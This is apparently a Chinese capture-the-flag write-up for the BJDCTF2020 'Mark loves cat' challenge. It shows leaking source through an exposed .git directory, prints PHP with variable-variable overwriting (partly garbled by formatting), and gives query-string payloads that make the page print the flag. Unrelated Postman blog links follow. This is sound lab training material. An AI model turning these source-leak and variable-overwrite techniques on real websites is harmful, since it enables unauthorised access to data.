[BJDCTF2020]Mark loves cat1

打开题目

发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下

http://63f29a80-e08b-43ae-a6d0-8e70fb02eaa3.node5.buuoj.cn:81/.git

主要代码在index里面

<?php

include 'flag.php';

$yds = "dog";

$is = "cat";

$handsome = 'yds';

foreach(_POST as x => $y){

x = $y; //$flag=1 } foreach($_GET as $x =\> $y){ $$x = $$y; } foreach($_GET as $x =\> $y){ if($_GET\['flag'\] === $x \&\& $x !== 'flag'){ exit($handsome); } } if(!isset($_GET\['flag'\]) \&\& !isset($_POST\['flag'\])){ exit($yds); } if($_POST\['flag'\] === 'flag' \|\| $_GET\['flag'\] === 'flag'){ exit($is); } echo "the flag is: ".$flag; 根据源代码,需要通过get传参达到变量覆盖的目的。 ?yds=flag 覆盖is变量 if($_POST\['flag'\] === 'flag' \|\| $_GET\['flag'\] === 'flag'){ exit($is); } Get或Post传入flag=flag,触发变量覆盖代码 foreach($_POST as $x =\> $y){ $$x = $y; //$flag=1 } foreach($_GET as $x =\> $y){ $$x = $$y; } 输出?is=flag\&flag=flag ![](https://i-blog.csdnimg.cn/direct/dde2afd9e44b45cb928f83d08119feb5.png) 再覆盖覆盖handsome变量 handsome=flag,得到$handsome=$flag ?handsome=flag\&flag=handsome 可以得到flag

相关推荐
cxyll123410 小时前
postman+newman+jenkins接口自动化
自动化·jenkins·postman
让代码飞~14 小时前
idea进阶技能掌握, 使用自带HTTP测试工具,完全可替代PostMan
java·http·intellij-idea·postman
进阶的小名9 天前
@RequestMapping接收文件格式的形参(方法参数)
java·spring boot·postman
@Aurora.9 天前
【接口自动化测试】---YAML、JSON Schema
selenium·单元测试·测试用例·压力测试·postman·ab测试·测试覆盖率
ACGkaka_10 天前
Postman 如何设置Cookie
测试工具·postman
山里幽默的程序员10 天前
如何使用Postman无障碍导入JSON文件?详细步骤&工具对照
测试工具·json·postman
Java&Develop14 天前
用html写一个类似于postman可以发送请求
前端·html·postman
w_312345415 天前
支持多网络协议的测试工具(postman被无视版)
网络协议·测试工具·postman·调试工具
zk_xyb16 天前
Postman 四种请求体格式全解析:区别、用法及 Spring Boot 接收指南
spring boot·lua·postman
吃饱了想撑死18 天前
Postman四种请求教程
测试工具·postman